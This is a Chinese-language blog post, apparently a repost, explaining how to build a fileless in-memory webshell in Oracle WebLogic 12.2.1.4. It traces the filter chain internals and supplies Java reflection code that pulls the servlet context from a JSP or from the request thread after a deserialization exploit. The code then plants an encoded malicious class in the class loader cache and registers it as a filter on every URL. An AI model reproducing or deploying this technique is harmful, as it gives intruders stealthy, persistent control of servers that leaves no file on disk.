weblogic 無文件webshell的技術研究


上篇文章中着重研究了tomcat的內存馬以及實現方法。這篇文章主要研究了weblogic的內存馬實現原理。在這里實現的原理與tomcat基本相同,同樣使用動態注冊Filter 的方式。下面分析一下weblogic在請求中是如何獲取FilterChain。

以下分析基於 weblogic 12.2.1.4

0x01 weblogic FilterChain實現

創建一個Filter,隨便打一個斷點,觀察此時的堆棧信息,如圖

通過跟蹤堆棧信息,我們可以找到,在wrapRun函數中,會判斷系統中是否存在filter以及listener。如果存在,則獲取FilterChain,然后依次調用Filter。原理與tomcat類似。相關代碼如下

weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函數

if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
    this.stub.execute(this.req, this.rsp);
} else {
    FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
    if (fc == null) {
        this.stub.execute(this.req, this.rsp);
    } else {
        fc.doFilter(this.req, this.rsp);
    }
}

而getFilterChain的代碼在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系統中的Filter,包括動態注冊一個Filter,獲取FilterChain等。動態注冊一個Filter的代碼如下

    void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
        FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
        if (this.loadFilter(fw)) {
            EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
            if (urlPatterns != null) {
                this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
            }

            if (servletNames != null) {
                this.addMappingForServletNames(filterName, types, true, servletNames);
            }

            this.filters.put(filterName, fw);
        }
    }

0x02 內存馬實現

技術難點主要有以下幾點:

  1. 怎么尋找FilterManager
  2. weblogic中類加載器機制

1. 尋找FilterManager

weblogic中,context會存放FilterManager。所以,這個問題轉換為如何獲取context。有兩種方法

pageContext

jsp頁面中的pageContext對象中,存有context對象。可以通過反射獲取。這種比較適合直接上傳jsp文件獲取webshell權限的情況。代碼如下

        Field contextF = pageContext.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(pageContext);

線程中

這種情況比較適合shiro,T3等反序列化漏洞,在無法上傳文件,但是可以直接通過反序列化獲取weblogic權限的情況。這種情況下不需要pageContext對象,在線程中查找context對象。代碼如下

        Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
        Method m = executeThread.getDeclaredMethod("getCurrentWork");
        Object currentWork = m.invoke(Thread.currentThread());

        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

2. FilterWrapper中類加載器機制

這里只針對於加載Filter的情況去討論。在FilterManager的registerFilter方法中,主要通過FilterWrapper類去包裝Filter類。但是FilterWrapper類的構造函數中,並沒有可以傳遞Class的參數,只可以傳遞ClassName,FilterManager通過ClassName去查找Class。下面我們分析一下實現過程

在FilterManager的loadFilter中,Filter將會在這里實例化。代碼如下


weblogic.servlet.internal.FilterManager#loadFilter
boolean loadFilter(FilterWrapper filterWrapper) {
        String filterClassName = filterWrapper.getFilterClassName();
        filter = (Filter)this.context.createInstance(filterClassName);
        filterWrapper.setFilter((String)null, (Class)null, filter, false);
        }

在filterWrapper.getFilterClassName中獲取FilterClass的名稱,然后通過context的createInstance方法去實例化。下面是createInstance的代碼

Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
    Class<?> clazz = this.classLoader.loadClass(className);
    return this.createInstance(clazz);
}

在這里通過調用classloader的loadClass方法去根據名稱查找Class。我們知道weblogic自定義了一個classloader,所以我們繼續深入loadCLass方法,代碼如下

weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized(this.getClassLoadingLock(name)) {
        Class res = (Class)this.cachedClasses.get(name);
        if (res != null) {
            return res;
        } else if (!this.childFirst) {
            return super.loadClass(name, resolve);

我們可以看出,ChangeAwareClassLoader會首先從cache中查找是否存在待查找的類,如果存在,則直接返回該名稱對應的Class。

所以我們為了使自己待動態加載的Filter可以被FilterManager成功查找,最簡單的方法是在這個緩存中動手腳。代碼如下

    /*
    第一步,將evilClass加載到classloader的cachedClasses中
     */
        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "bingxie") == null) {
            // 判斷一下,防止多次加載惡意filter, 默認只加載一次,不需要重復加載
            BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
            String codeClass = "H4sIAAAAAAAAAKV..........";
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);

            // 在這里 惡意類名稱為 bingxie  filter 名稱為test
            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, "bingxie", evilFilterClass);

上面兩個技術難點解決后,我們就可以向FilterManager中動態注冊一個Filter。代碼比較簡單,如下

Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);

0x03 成果檢驗

檢查weblogic,無文件落地。重啟weblogic后,webshell消失


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM